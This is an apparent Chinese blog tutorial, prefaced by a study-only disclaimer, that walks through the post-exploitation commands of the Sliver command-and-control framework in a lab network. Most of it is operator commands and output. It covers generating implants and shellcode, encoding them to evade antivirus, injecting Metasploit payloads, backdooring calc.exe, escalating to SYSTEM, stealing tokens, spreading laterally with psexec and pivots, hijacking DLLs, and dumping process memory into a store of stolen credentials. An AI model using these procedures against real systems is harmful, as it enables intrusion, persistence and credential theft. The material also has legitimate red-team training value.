点击蓝字 关注我们
免责声明
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。
添加星标不迷路
由于公众号推送规则改变,微信头条公众号信息会被折叠,为了避免错过公众号推送,请大家动动手指设置“星标”,设置之后就可以和从前一样收到推送啦
一、基础命令
1.1、更改上线会话备注
sliver > sessions -i 729c7b2b
进入session后修改备注
sliver (ALONE_MULE) > rename -n testLinux
1.2、会话操作
详细命令可输入 help 进行查看。
Sliver 植入物支持多个命令,功能包括文件系统浏览、文件上传和下载、端口转发、截图等
注意事项
Sliver 的Windows系统后渗透命令比Linux系统多,多出的内容很明显,在help菜单里面被标记为 Sliver-Windows:
Sliver - Windows:
=================
backdoor Infect a remote file with a sliver shellcode
dllhijack Plant a DLL for a hijack scenario
execute-assembly Loads and executes a .NET assembly in a child process (Windows Only)
getprivs Get current privileges (Windows only)
getsystem Spawns a new sliver session as the NT AUTHORITYSYSTEM user (Windows Only)
impersonate Impersonate a logged in user.
make-token Create a new Logon Session with the specified credentials
migrate Migrate into a remote process
psexec Start a sliver service on a remote target
registry Windows registry operations
rev2self Revert to self: lose stolen Windows token
runas Run a new process in the context of the designated user (Windows Only)
spawndll Load and execute a Reflective DLL in a remote process
background
运行 background 将会把会话放到后台,也就是退出会话操作界面
sliver (linux) > background
[*] Background ...
sliver >
杀死会话
使用 Session -k id 即可终止会话
sliver > sessions -k da78471a
Lost session da78471a linux - 192.168.0.253:43650 (kali) - linux/amd64
杀死所有会话
Session -K
cat
连接文件并打印到标准输出设备上,也就是读取文件内容
sliver (win) > cat shell.txt
cd
更改目录
cd Sec
cd ./Sec
cd ../
mv
移动或重命名一个文件
sliver (SHAKY_KLEENEX) > mv test.txt test1.txt
[*] test.txt > test1.txt
ping
使用植入物名称或存活会话名称进行一次ping会话行为,不会发送ICMP数据包,只是发送一个小的C2消息返回,以确保远程植入物仍会对命令做出响应。
没玩明白,说是直接指定Session,但死活没反应。
ping <implant name/session>
close
关闭交互式会话但不终止远程进程,当交互式会话打开时,信标仍然将登录
sliver (win) > close
[!] Lost session 736fb72c win - 192.168.0.252:50058 (DESKTOP-7KDM2M6) - windows/amd64
会暂时丢失session,但之后会再次上线,因为没有终止远程进程。同CS的Exit一样
upload
上传文件,需要两个参数,第一个参数的值必须是文件的绝对本地路径,第二个参数是远程目标,如果不设置第二个值,那么就会上传到信标所在的文件夹
sliver (ALONE_MULE) > upload "C:testSlivertest.exe"
[*] Wrote file to /root/test.exe
或
sliver (ALONE_MULE) > upload "D:Sec3内网工具Slivertest.exe" /root/test1.exe
[*] Wrote file to /root/test1.exe
download
download也需要两个参数,第一个是下载的远程地址(可以使用相对路径,默认是植入物目录),第二个是保存下载文件的本地路径
sliver (ALONE_MULE) > download ./shell.sh "./"
[*] Wrote 14020608 bytes (1 file successfully, 0 files unsuccessfully) to C:testSlivershell.sh
gid、pid、uid
getgid 获取该Session的gid
getpid 获取该Session的pid
getuid 获取该Session的uid即用户,一般uid用的多
sliver (POWERFUL_SEGMENT) > getgid
S-1-5-21-886059080-2310320355-610692855-513
sliver (POWERFUL_SEGMENT) > getuid
S-1-5-21-886059080-2310320355-610692855-1000
sliver (POWERFUL_SEGMENT) > getpid
11916
mkdir
新建一个文件夹,直接在植入物所在的目录下生成,有点明显
sliver (POWERFUL_SEGMENT) > mkdir test
[*] C:UsersadminDesktoptest
1.3、信标操作
输入help可查看Beacon操作菜单,基本和Session模式一样。
info
查看Beacon信息
sliver (FASHIONABLE_PRONUNCIATION) > info
Beacon ID: 006f6427-81d0-4b07-96d0-03e1e7c1bd06
Name: FASHIONABLE_PRONUNCIATION
Hostname: LAPTOP-admin
UUID: bb37e106-3323-42a1-84d7-ac14f9cfb9f7
Username: LAPTOP-adminadmin
UID: S-1-5-21-137539292-3069588720-2311320663-1001
GID: S-1-5-21-137539292-3069588720-2311320663-1001
PID: 15300
OS: windows
Version: 10 build 22000 x86_64
Locale: zh-CN
Arch: amd64
Active C2: mtls://192.168.0.253:8888
Remote Address: 192.168.0.122:3312
Proxy URL:
Interval: 5s
Jitter: 3s
First Contact: Thu Apr 13 11:35:31 CST 2023 (6m28s ago)
Last Checkin: Thu Apr 13 11:39:47 CST 2023 (2m12s ago)
Next Checkin: Thu Apr 13 11:39:53 CST 2023 (2m6s ago)
screenshot
使用execute notepad
打开记事本,使用screenshot
来截图
可以发现和Session模式不太一样,它会切换为task任务再去执行,需要等到下一次连接周期才会执行命令。
tasks
输入tasks
查看任务状态,可以看到已经completed执行结束了。
sliver (FASHIONABLE_PRONUNCIATION) > tasks
ID State Message Type Created Sent Completed
========== =========== ============== =============================== =============================== ===============================
c43893fb completed Execute Thu, 13 Apr 2023 11:44:21 CST
prune
修剪自动修剪过时的信标,长时间无法连接的Beacon自动清除
sliver > beacons prune
[*] Pruning beacons that missed their last checking by 1h0m0s or more...
⚠️ The following beacons and their tasks will be removed:
1. WEARY_KIND (bed13251-1d0b-4769-ae0d-0fe2031a3fd7)
2. WEARY_KIND (0cbd2c0a-d417-4582-ac6e-67ddb6ec39ce)
3. WEARY_KIND (bd2d7472-f18e-4607-8472-77bc5461bb6b)
4. WEARY_KIND (eeab68f3-bb1e-4b11-a63c-c33c120d5392)
5. WEARY_KIND (3dbffe91-09a7-44d0-92f2-dd29e0af1be7)
6. WEARY_KIND (87db8978-37e2-4ad8-b40a-1d582b31a676)
7. WEARY_KIND (14eb44ce-f21e-43bf-ad5b-b1bc83b9d100)
8. WEARY_KIND (15fcd9d0-4336-43b3-bb04-e774fddd8429)
9. WEARY_KIND (dc723753-ff90-422f-a762-c1a5e0b6292e)
10. WEARY_KIND (41d36896-9e52-48e9-ac22-1ff52769deaa)
11. CONTROLLED_INVESTMENT (0470430e-9ed8-4703-9850-2b9dc9a20660)
? Prune these beacons? Yes
[*] Pruned 11 beacon(s)
1.4、代理与隧道
socks5
sliver (win) > help socks5
In-band SOCKS5 Proxy
Usage:
======
socks5 [flags]
Flags:
======
-h, --help display help
-t, --timeout int router timeout in seconds (default: 60)
Sub Commands:
=============
start Start an in-band SOCKS5 proxy
stop Stop a SOCKS5 proxy
sliver (win) > socks5 start -
-h --help -H --host -P --port -u --user
可看到socks5是通过socks参数 + start/stop + 具体参数来进行设置的,默认端口1081
,默认IP为127.0.0.1
-h, --help display help
-H, --host string Bind a Socks5 Host (default: 127.0.0.1)
-P, --port string Bind a Socks5 Port (default: 1081)
-u, --user string socks5 auth username (will generate random password)
socks5隧道,一般socks5端口为1080
# 在进入session后使用,仅session模式可用
socks5 start
socks5 start -P 端口 -u 用户 #注意!-P是大写
查看socks代理
socks
注意:不同于CS将代理开在服务端,Sliver这个代理是开在本地客户端的!
关闭socks5代理
socks5 stop -i ID
portfwd
端口转发命令。正向连接TCP端口转发。默认情况下,所有的转发都会绑定到127.0.0.1,但也可以使用--bind关键字自行修改。
从V1.5.27开始, Sliver 还支持反向端口转发,关键字是rportfwd
使用Sliver的带内隧道在本地计算机和植入网络之间传输数据(即,如果您使用的是HTTP C2,则所有端口转发的流量都通过HTTP进行隧道传输,mTLS/DNS/等也是如此。)
add 新增一个新的端口转发隧道
rm 删除端口转发隧道
例如:
sliver (POWERFUL_SEGMENT) > portfwd add --remote 192.168.0.252:3389
⚠️ RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds
[*] Port forwarding 127.0.0.1:8080 -> 192.168.0.252:3389
sliver (POWERFUL_SEGMENT) > portfwd
ID Session ID Bind Address Remote Address
==== ====================================== ================ ====================
1 238c1964-48be-4086-927e-bc4f60712c4f 127.0.0.1:8080 192.168.0.253:80
2 238c1964-48be-4086-927e-bc4f60712c4f 127.0.0.1:8080 192.168.0.252:3389
使用 --bind 指定端口
sliver (POWERFUL_SEGMENT) > portfwd add --bind 127.0.0.1:3388 --remote 192.168.0.252:3389
⚠️ RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds
[*] Port forwarding 127.0.0.1:3388 -> 192.168.0.252:3389
wg-portfwd
此命令使用WireGuard端口转发,仅在使用WireGuard C2时可用。
一、生成一个wg C2
sliver > generate --wg 192.168.0.253 --save ./wg.exe --os windows
[*] Generated unique ip for wg peer tun interface: 100.64.0.2
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
二、设置wg监听
sliver (POWERFUL_SEGMENT) > wg
sliver > sessions
ID Name Transport Remote Address Hostname Username Operating System Locale Last Message Health
========== ================== =========== ===================== ================= ========== ================== ======== ========================================== =========
038bc924 SHAKY_KLEENEX wg 100.64.0.3:47446 DESKTOP-7KDM2M6 admin windows/amd64 zh-CN Mon Apr 17 15:25:43 CST 2023 (3s ago) [ALIVE]
三、上线后use id进入wg Session
查看wg配置信息,需要设置的就一个Endpoint,确保将它指向 Sliver
sliver (SHAKY_KLEENEX) > wg-config
[*] New client config:[Interface]
Address = 100.64.0.4/16
ListenPort = 51902
PrivateKey = oI73zgL8NTivyHEAE+MIJNUpOlEyRuuQ+bqvUT8HLFA=
MTU = 1420
[Peer]
PublicKey = BXPlZQaGAPlA4tlHau4ZAHeDyeNVYa8Dl4/LuJKJNXA=
AllowedIPs = 100.64.0.0/16
Endpoint = <configure yourself>
四、设置wg端口转发,随后使用 wireguard 连接100.64.0.3:1080
即可连接目标的3389(需要安装 wireguard 输入公钥和私钥)
sliver (SHAKY_KLEENEX) > wg-portfwd add --remote 192.168.0.252:3389
[*] Port forwarding 100.64.0.3:1080 -> 192.168.0.252:3389
sliver (SHAKY_KLEENEX) > wg-portfwd
ID Name Protocol Port
==== ================= ==================== ======
0 100.64.0.3:1080 192.168.0.252:3389
wireguard 官网
https://www.wireguard.com/install/
一般说来 ,相对于portfwd ,wg-portfwd
更快、更可靠,官方建议尽可能使用它。
rportfwd
反向端口转发
pivots
注意:pivots 目前只能在Session会话模式下使用,官方后续可能会添加Beacon支持
将一个受害主机转变为其他攻击和工具的跳板,类似于 Cobalt Strike 的 pivoting。
Sliver 中的pivot专门用于pivot C2流量,不要与端口转发portfwd混淆,其用于将通用TCP连接隧道穿透到目标环境中。它允许你创建植入物连接的"chains"隧道,例如,你试图将pivot部署到一个高度受限制的子网中,该子网无法将流量直接路由到互联网,则可以创建一个植入物,通过限制较少的子网的另一个植入物导出所有流量。
pivot A 可以通过pivot B连接到第三个出口植入物。
在 Sliver 中,您可以使用现有的Session会话创建一个"pivot listener",然后生成可以连接回该监听器的新的pivot,就像使用其他C2协议或端点一样。
在受害主机本地设置一个本地代理。
details 获取跳板机监听器的详细信息
graph 获取跳板机监听器的详细信息
named-pipe 启动命名管道枢轴监听器
stop 停止一个透明监听器
tcp 启动TCP透明监听器
TCP Pivots
TCP pivots是在纯Go语言中实现的,并且在所有平台上都受支持。
sliver (POWERFUL_SEGMENT) > pivots tcp
[*] Started tcp pivot listener :9898 with id 1
sliver (POWERFUL_SEGMENT) > pivots
ID Protocol Bind Address Number Of Pivots
==== ========== ============== ==================
1 TCP :9898 0
现在,我们可以使用如下命令生成一个连接到pivot监听器的植入物,其中xx.xx.xx.xx
是我们启动的监听器IP(不是服务端IP,是目标的IP)
然后将该pivot植入物植入到域内其他目标主机中,上线即可,也就是把之前的主机当跳板了
sliver (POWERFUL_SEGMENT) > generate --tcp-pivot 192.168.0.252:9898 --save pivot.exe
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 26s
[*] Session 79661ddb POLITICAL_TRAINER - 100.64.0.3:32764->SHAKY_KLEENEX-> (LAPTOP-KL0AICEC) - windows/amd64 - Tue, 18 Apr 2023 19:20:07 CST
sliver (POWERFUL_SEGMENT) > sessions
ID Name Transport Remote Address Hostname Username Operating System Locale Last Message Health
========== =================== =========== ========================================= ================= ========== ================== ======== ======================================== =========
44f8c322 FILTHY_ELIXIR mtls 192.168.0.253:34268 kali root linux/amd64 zh-CN Tue Apr 18 19:19:56 CST 2023 (15s ago) [ALIVE]
79661ddb POLITICAL_TRAINER pivot 100.64.0.3:32764->SHAKY_KLEENEX-> LAPTOP-KL0AICEC wood windows/amd64 zh-CN Tue Apr 18 19:20:07 CST 2023 (4s ago) [ALIVE]
SMB Pivot
选择一个会话以启动SMB监听器,然后使用--bind
参数指定隧道名称,隧道可以在本地计算机上自动启动,因此只需要指定名称,远程客户端始终允许连接到隧道,但默认ACL将仅允许当前用户/组,可以使用--allow-all
参数标记。
sliver (POWERFUL_SEGMENT) > pivots named-pipe --bind smb
[*] Started named pipe pivot listener \.pipesmb with id 2
接下来,我们生成对应的植入物,注意这里我们需要指定监听器的IP地址:192.168.0.252
,也是开启了pivot监听器的IP(目标机IP)
PS:这个也是类似于 Cobalt Strike 里面的SMB监听。
sliver (POWERFUL_SEGMENT) > generate --named-pipe 192.168.0.252/pipe/smb
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 29s
[*] Implant saved to D:Sec3内网工具SliverBRAVE_KAYAK.exe
[*] Session 0abed351 BRAVE_KAYAK - 192.168.0.252:52454->POWERFUL_SEGMENT-> (DESKTOP-7KDM2M6) - windows/amd64 - Tue, 18 Apr 2023 19:13:50 CST
sliver (POWERFUL_SEGMENT) > sessions
ID Name Transport Remote Address Hostname Username Operating System Locale Last Message Health
========== ================== =========== ========================================= ================= ========== ================== ======== ======================================== =========
0abed351 BRAVE_KAYAK pivot 192.168.0.252:52454->POWERFUL_SEGMENT-> DESKTOP-7KDM2M6 admin windows/amd64 zh-CN Tue Apr 18 19:13:50 CST 2023 (10s ago) [ALIVE]
44f8c322 FILTHY_ELIXIR mtls 192.168.0.253:34268 kali root linux/amd64 zh-CN Tue Apr 18 19:13:56 CST 2023 (4s ago) [ALIVE]
b61d0cfc SHAKY_KLEENEX wg 100.64.0.3:32764 DESKTOP-7KDM2M6 admin windows/amd64 zh-CN Tue Apr 18 19:13:38 CST 2023 (22s ago) [ALIVE]
10056db6 POWERFUL_SEGMENT mtls 192.168.0.252:52454 DESKTOP-7KDM2M6 admin windows/amd64
zh-CN Tue Apr 18 19:13:50 CST 2023 (10s ago) [ALIVE]
SSH
连接ssh服务,可以在后面接命令,类似命令执行
sliver (win) > ssh -l 账户 -P 密码 xx.xx.xx.xx whoami
sliver (FILTHY_ELIXIR) > ssh -l root -p root 192.168.0.253 whoami
error: invalid uint value for flag: -p
sliver (FILTHY_ELIXIR) > ssh -l root -P root 192.168.0.253 whoami
[*] Output:
root
具体参数如下
-c kerberos配置字符串路径(默认值:/etc/krb5.conf)
-k kerberos密钥表字符串路径
-r kerberos领域"realm"
-p ssh端口默认22
-i 私钥路径
-s 跳过使用战利品凭据的提示
1.5、执行命令
shell 交互式会话
直接输入 shell 会被提示 "? This action is bad OPSEC, are you an adult?",OPSEC是一个新的红队的攻击规范,不符合攻击规范是因为这样做会被记录到对方的历史记录中(因为它生成的是一个交互式 shell )
如果选择 yes 则会进入类似于MSF的shell界面,输入【exit】退出shell界面。
经过控制变量实验,结果如下:
Windows客户端控制Linux受害主机,不行。
Windows客户端控制Windows受害主机,彳亍
Linux端操作Linux,彳亍
Linux端操作Windows,彳亍
execute文件会话
shell 执行命令不保险,我们尝试其他方法,使用 execute 不会在目标主机上形成日志,原因如下
execute 这种方式本质是执行shell文件夹下的一个文件间接去执行命令,不是直接的命令执行,这也就是为什么这样去执行许多命令都会提示 no such file or directory 或者 file does not exist
即:在环境变量中的命令可以使用这种方式去执行,不在其中的不可以这样执行
execute [flags] command [arguments...]
-h, --help display help
-S, --ignore-stderr don't print STDERR output
-X, --loot save output as loot
-n, --name string name to assign loot (optional)
-o, --output capture command output
-P, --ppid uint parent process id (optional, Windows only) (default: 0)
-s, --save save output to a file
-E, --stderr string remote path to redirect STDERR to
-O, --stdout string remote path to redirect STDOUT to
-t, --timeout int command timeout in seconds (default: 60)
-T, --token execute command with current token (windows only)
演示如下
sliver (myprecious) > execute -o whoami
sliver (myprecious) > execute -o systeminfo
Windows 操作 Linux 命令
Windows操作Windows,同样有命令无法执行
那么,上面无法命令执行如何解决?我们可以指定 shell 文件所在的位置,去调用指定的 shell 程序执行命令,所以我们需要知道Windows和Linux的 shell 程序位置,Windows上是cmd和powershell,Linux上是bash
sliver (LIVING_PANTY) > execute -o c:\windows\system32\cmd.exe /c dir
sliver (LIVING_PANTY) > execute -o c:\windows\system32\windowspowershell\v1.0\powershell.exe /c dir
PS:目标机器上会弹出一瞬间的cmd和powershell窗口
execute-shellcode
在植入过程中执行给定的shellcode文件。
生成shellcode文件
shellcode文件应该是二进制编码的,可以使用generate生成 Sliver 的shellcode文件,通过format参数指定为shellcode即可,生成后上传上去才可执行shellcode文件
generate --format shellcode
如:
sliver > generate --mtls 192.168.0.253 --format shellcode --save ./ --os windows
生成的文件类型是bin
,默认名称为INTEGRAL_SNOWBOARDING.bin
执行shellcode文件
execute-shellcode [flags] filepath
其中flags的参数如下:
-A、 --shell的体系结构字符串体系结构代码:386,amd64(与--shikata-ga-nai标志一起使用)(默认值:amd64)
-h、 --帮助显示帮助
-i、 --交互式注入新流程并与之交互
-I、 --iterations int编码迭代次数(与--shikata-ga-nai标志一起使用)(默认值:1)
-p、 --要注入到的进程的pid uint pid(0表示注入到我们自己)(默认值:0)
-n、 --进程字符串在交互模式下运行时要注入的进程(默认值:c:windowssystem32notepad.exe)
-r、 --rwx页面对内存页面使用rwx权限
-S、 --shikata ga nai在执行之前使用shikata ga-nai对外壳代码进行编码
-t、 --timeout int命令超时,以秒为单位(默认值:60)
例子:
sliver (POWERFUL_SEGMENT) > execute-shellcode -i "C:testSlivershellcode.bin"
[*] Started remote shell with pid 21144
whoami
sliver (POWERFUL_SEGMENT) >
1.6、网络命令
ifconfig
显示session的网卡、IP信息(Windows session也是ifconfig)
server] sliver (win) > ifconfig
+------------------------------------------+
| Ethernet0 |
+------------------------------------------+
| # | IP Addresses | MAC Address |
+---+------------------+-------------------+
| 3 | 192.168.0.252/24 | 00:0c:29:f8:51:8f |
+------------------------------------------+
netstat
显示TCP、UDP以及IP的连接列表还有端口以及其状态。其中监听(LISTEN),正在连接(ESTABLISHED)最重要。
sliver (win) > netstat
Protocol Local Address Foreign Address State PID/Program Name
========== ===================== ==================== ============= ==================
tcp 192.168.0.252:50016 20.197.71.89:443 ESTABLISHED 1248/svchost.exe
tcp 192.168.0.252:50058 192.168.0.253:8888 ESTABLISHED 2888/shell.exe
可以通过--listen指定正在监听的连接
sliver (SHAKY_KLEENEX) > netstat --listen
Protocol Local Address Foreign Address State PID/Program Name
========== ==================== ================= ======== ===================
tcp 0.0.0.0:135 0.0.0.0:0 LISTEN 1004/svchost.exe
tcp 0.0.0.0:49664 0.0.0.0:0 LISTEN 600/wininit.exe
tcp 0.0.0.0:49667 0.0.0.0:0 LISTEN 2144/spoolsv.exe
tcp 0.0.0.0:49671 0.0.0.0:0 LISTEN 744/services.exe
tcp 0.0.0.0:49683 0.0.0.0:0 LISTEN 752/lsass.exe
tcp 192.168.0.252:139 0.0.0.0:0 LISTEN 4/System
tcp 192.168.0.252:9898 0.0.0.0:0 LISTEN 5240/wg.exe
1.7、凭证的存储
loot 直译为战利品,该命令是被掠夺的文件和凭据的服务器端存储,这是在服务端实现的,所以战利品中存储的所有文件和凭证在多人模式下可供所有人查看。
添加战利品
远程添加,指定的路径是目标主机上的路径
loot remote
需要指定文件路径
sliver (SHAKY_KLEENEX) > loot remote ./test1.txt
[*] Successfully looted test1.txt (ID: 613b11a3-8daf-43ca-b2b7-a1cf0ae89ec7)
本地添加,指定的路径是客户端主机上的
sliver (SHAKY_KLEENEX) > loot local ./test2.txt
[*] Successfully added loot to server (a31d4837-a362-4712-82ed-ca7425898d71)
命令添加
有几个命令如sideload
和execute-assembly
、procdump
带有--loot
标签,可以将命令的输出保存到 loot 存储。
选择战利品
sliver (SHAKY_KLEENEX) > loot fetch
? Select a piece of loot: test1.txt LOOT_FILE 67d2a569-5f0b-4814-b777-8d890892b1b2
File Name: test1.txt
213231321321
删除战利品
sliver (SHAKY_KLEENEX) > loot rm
? Select a piece of loot: test1.txt LOOT_FILE 613b11a3-8daf-43ca-b2b7-a1cf0ae89ec7
[*] Removed loot from server
procdump
转储进程内存,和微软的知名软件同名且功能类似。
procdump [flags]
Flags:
======
-h, --help display help
-X, --loot save output as loot
-N, --loot-name string name to assign when adding the memory dump to the loot store (optional)
-n, --name string target process name
-p, --pid int target pid (default: -1)
-s, --save string save to file (will overwrite if exists)
-t, --timeout int command timeout in seconds (default: 60)
存储指定进程信息
sliver (POWERFUL_SEGMENT) > procdump -p 14580
[*] Process dump stored in: C:UsersadminAppDataLocalTempprocdump_DESKTOP-7KDM2M6_14580_487935510
存储指定进程信息到战利品loot
中
sliver (POWERFUL_SEGMENT) > procdump -p 5500 -X
[*] Successfully looted procdump_DESKTOP-7KDM2M6_5500_20230418114241.dmp (ID: 66471aa8-c234-475e-b05a-e71949bbd0e0)
1.8、外部MSF与shellcode加密
msf
在当前进程中执行MSF payload
sliver (POWERFUL_SEGMENT) > msf -L 192.168.0.253 -l 1234 -m meterpreter_reverse_https
⠏ Sending msf payload meterpreter_reverse_https windows/amd64 -> 192.168.0.253:1234 ...
msf-inject
将MSF payload注入到进程中
msf-inject [flags]
Flags:
======
-e, --encoder string msf encoder
-h, --help display help
-i, --iterations int iterations of the encoder (default: 1)
-L, --lhost string listen host
-l, --lport int listen port (default: 4444)
-m, --payload string msf payload (default: meterpreter_reverse_https)
-p, --pid int pid to inject into (default: -1)
-t, --timeout int command timeout in seconds (default: 60)
shikata-ga-nai
多态编译,shellcode 二次编码器
shikata ga nai 编码器被认为是最好的shellcode编码器,MSF里也有它,不知道为啥起了个东洋名字;
这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道进行多重编码进行免杀。
shikata-ga-nai [flags] shellcode
shellcode字符串 shellcode代码文件路径
-a, --arch string 位数架构 (default: amd64)
-b, --bad-chars string 要避免的十六进制hex编码的错误字符 (e.g. 0001)
-h, --help 帮助信息
-i, --iterations int 迭代次数 (default: 1)
-s, --save string 将输出保存到本地文件
-t, --timeout int 超时时间,单位秒 (default: 60)
示例,将本地目录下的shellcode.bin
文件进行编译,生成了一个新 shellcode 文件
sliver (SHAKY_KLEENEX) > shikata-ga-nai ./shellcode.bin
[*] Encoding shellcode with 1 iterations and 0 bad chars
[*] Shellcode written to shellcode.bin.sgn (15730559 bytes)
1.9、进程相关
查看进程
输入ps查看进程
注意,Sliver会列出绿色的当前木马进程,以及红色的杀软进程
terminate
远程终止系统上的进程,只要提供PID,植入物就会尝试使其消失。
这里使用notepad.exe
进程测试
sliver (POWERFUL_SEGMENT) > terminate 17616
[*] Process 17616 has been terminated
二、仅Windows有的命令
Sliver - Windows:
=================
backdoor Infect a remote file with a sliver shellcode
dllhijack Plant a DLL for a hijack scenario
execute-assembly Loads and executes a .NET assembly in a child process (Windows Only)
getprivs Get current privileges (Windows only)
getsystem Spawns a new sliver session as the NT AUTHORITYSYSTEM user (Windows Only)
impersonate Impersonate a logged in user.
make-token Create a new Logon Session with the specified credentials
migrate Migrate into a remote process
psexec Start a sliver service on a remote target
registry Windows registry operations
rev2self Revert to self: lose stolen Windows token
runas Run a new process in the context of the designated user (Windows Only)
spawndll Load and execute a Reflective DLL in a remote process
查看权限(仅Win)
查看当前的权限(当前能做什么),可用来植入进程,显示植入物进程的完整性级别和权限,基于GetTokenInformation Windows API
(命令处理程序)实现。
sliver (POWERFUL_SEGMENT) > getprivs
backdoor
劫持受害主机上的exe以持久化,需要使用shellcode类型的payload模板(即profiles)
生成一个shellcode类型profiles:
sliver > profiles new --mtls 192.168.0.253 --os windows --arch amd64 --format shellcode shellcode
[*] Saved new implant profile shellcode
使用上面生成的模板植入后门(有可能请求会被拒绝)
sliver (POWERFUL_SEGMENT) > backdoor -p shellcode "C:windowssystem32calc.exe"
⠸ Backdooring C:windowssystem32calc.exe ...
getsystem
提权操作,尝试注入到另一个进程中,默认是spoolsv.exe
,通过滥用SeDebugPrivilege来获取该进程的NT AUTHORITYSYSTEM
权限,和meterpreter几乎一样。
getsystem [flags]
Flags:
======
-h, --help display help
-p, --process string SYSTEM process to inject into (default: spoolsv.exe)
-t, --timeout int command timeout in seconds (default: 60)
psexec
在远程目标上启动一个新的 Sliver 服务。
这个命令从配置文件中上传一个 Sliver 二进制文件,配置文件必须是 service 格式(-- format service),这样服务管理器才能正确地启动和停止二进制文件
使用profiles new创建配置文件,a.bc.de是
profiles new --format service --skip-symbols --mtls a.bc.de win-svc64
创建配置文件后,运行psexec命令
psexec -d Description -s ServiceName -p win-svc64 TARGET_FQDN
psexec命令将使用与当前 Sliver 会话关联的Windows用户的凭据
创建类型为服务的配置文件
sliver (POWERFUL_SEGMENT) > profiles new --format service --skip-symbols --mtls 192.168.0.253 win-svc64
[*] Saved new implant profile win-svc64
运行psexec
sliver (POWERFUL_SEGMENT) > psexec -d Description -s ServiceName -p win-svc64 192.168.0.252
[*] No builds found for profile win-svc64, generating a new one
[*] Uploaded service binary to \192.168.0.252C$windowstemp__if0.exe
[*] Waiting a bit for the file to be analyzed ...
Registry
Sliver 可以与 Windows 注册表见交互,使用 Registry
命令。
Windows注册表是系统设置的数据库,由键和值组成,类似于键树,其中的每个键都可以有其他子键或者与之关联的值,一个键有一个名字,一个值有一个名字和数据。
数据是强类型的并且有效类型包括REG_DWORD
(32位数字)或REG_SZ
(字符串),在最高级别有七个根键,称为注册表配置单元,例如 HKEY_LOCAL_MACHINE
,缩写为HKLM
。
Sliver 提供了读取、列出和写入键和值的基本命令
读取注册表
使用registry read
命令从HKLM
中获取Windows系统的产品名称的值productName
sliver (POWERFUL_SEGMENT) > registry read -H HKLM "softwaremicrosoftwindows ntcurrentversionProductName"
Windows 10 Enterprise LTSC 2019
列出配置单元HKLM
该路径上的所有可用值
sliver (POWERFUL_SEGMENT) > registry list-values -H HKLM "softwaremicrosoftwindows ntcurrentversion"
[*] Values under HKLM:softwaremicrosoftwindows ntcurrentversion:
SystemRoot
BuildBranch
BuildGUID
BuildLab
BuildLabEx
CompositionEditionID
CurrentBuild
CurrentBuildNumber
CurrentMajorVersionNumber
CurrentMinorVersionNumber
CurrentType
CurrentVersion
EditionID
。。。
还有其他几个命令,允许浏览注册表树以及创建新密钥并写入值:
下面是所有命令的简短描述,它们都接受一个参数--hive
,它可以是HKCU
(默认值)、HKLM
或任何其他值。它们还接受--hostname
,即你可以访问远程主机的注册表。
registry read:读取一个值(命令处理程序)。
registry write:写入一个值(命令处理程序)。
registry create:创建一个新的子项(命令处理程序)。
registry delete:删除一个键(命令处理程序)。
registry list-subkeys:列出给定键的所有子健(命令处理程序)。
registry list-values:列出给定键的所有值(命令处理程序)。
dllhijack
为劫持场景准备并在远程系统上植入DLL。
植入的DLL将修改其导出目录,以在远程主机上将导出转发到引用的DLL
用于劫持的DLL可以是操作员系统上的文件,也可以是 Sliver 配置文件够构建的DLL, Sliver 提供了--profile
参数
1、使用本地DLL进行劫持:
dllhijack --reference-path c:\windows\system32\msasn1.dll --file /tmp/blah.dll c:\users\bob\appdata\slack\app-4.18.0\msasn1.dll
2、使用 Sliver 生成的DLL进行劫持(必须指定-R或--run-at-load)
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load dllhijack --reference-path c:\windows\system32\msasn1.dll --profile dll c:\users\bob\appdata\slack\app-4.18.0\msasn1.dll
3、使用本地DLL作为引用DLL
dllhijack --reference-path c:\windows\system32\msasn1.dll --reference-file /tmp/msasn1.dll.orig --profile dll c:\users\bob\appdata\slack\app-4.18.0\msasn1.dll
migrate
进程注入,和 Cobalt Strike 、MSF一样
migrate [flags] pid
sliver (POWERFUL_SEGMENT) > migrate 5500
[*] Successfully migrated to 5500
[*] Session c6d4acdd POWERFUL_SEGMENT - 192.168.0.252:57953 (DESKTOP-7KDM2M6) - windows/amd64
impersonate
模拟用户登录,冒充用户登录。
窃取登录用户的令牌,运行新进程的 Sliver 命令(如shell或execute命令)将会冒用该用户进行登录。
impersonate username
make-token
和 Cobalt Strike 里面的make_token一毛一样,创建一个令牌。Cobalt Strike 里面是这样
make_token domainadministrator passwd@123
Sliver 里面是这样:
make-token -u username -d domian -p password
使用指定的凭据创建新的登录会话,并模拟生成的令牌,可以使用 --logon-type
参数指定客户登录类型,该参数默认值为LOGON32_LOGON_NEW_CREDENTIALS
有效类型为:
LOGON_INTERACTIVE
LOGON_NETWORK
LOGON_BATCH
LOGON_SERVICE
LOGON_UNLOCK
LOGON_NETWORK_CLEARTEXT
LOGON_NEW_CREDENTIALS
rev2self
调用 RevertToSelf ,丢失被盗的令牌。
和 Cobalt Strike 里面的移除当前窃取的令牌一毛一样
rev2self
runas
runas [--username] [--process] [--args]
在指定用户的上下文中允许新进程。
我猜测可能和Windows自带的 runas 有关:
有一些公司里面一些软件需要管理员权限,但域控给这台主机的权限时普通用户,那就会使用 runas 来指定允许某个程序,这个命令是微软自带的,在域环境下也能使用,类似于sudo
参数
-a 进程的位数
-d 用户的域
-n use使用
-P 用户的密码
-p 要启动的进程
-s 登录,但只能在网络上使用指定的凭据。新进程使用与调用相同的令牌,但系统在LSA中创建一个新的登录会话,并且进程使用指定的凭据作为默认凭据
-u 要模拟的用户
其他
还有一些模块内容比较多且复杂,后续慢慢补充
execute-assembly
sideload
Extensions
SpawnDLL
stagers
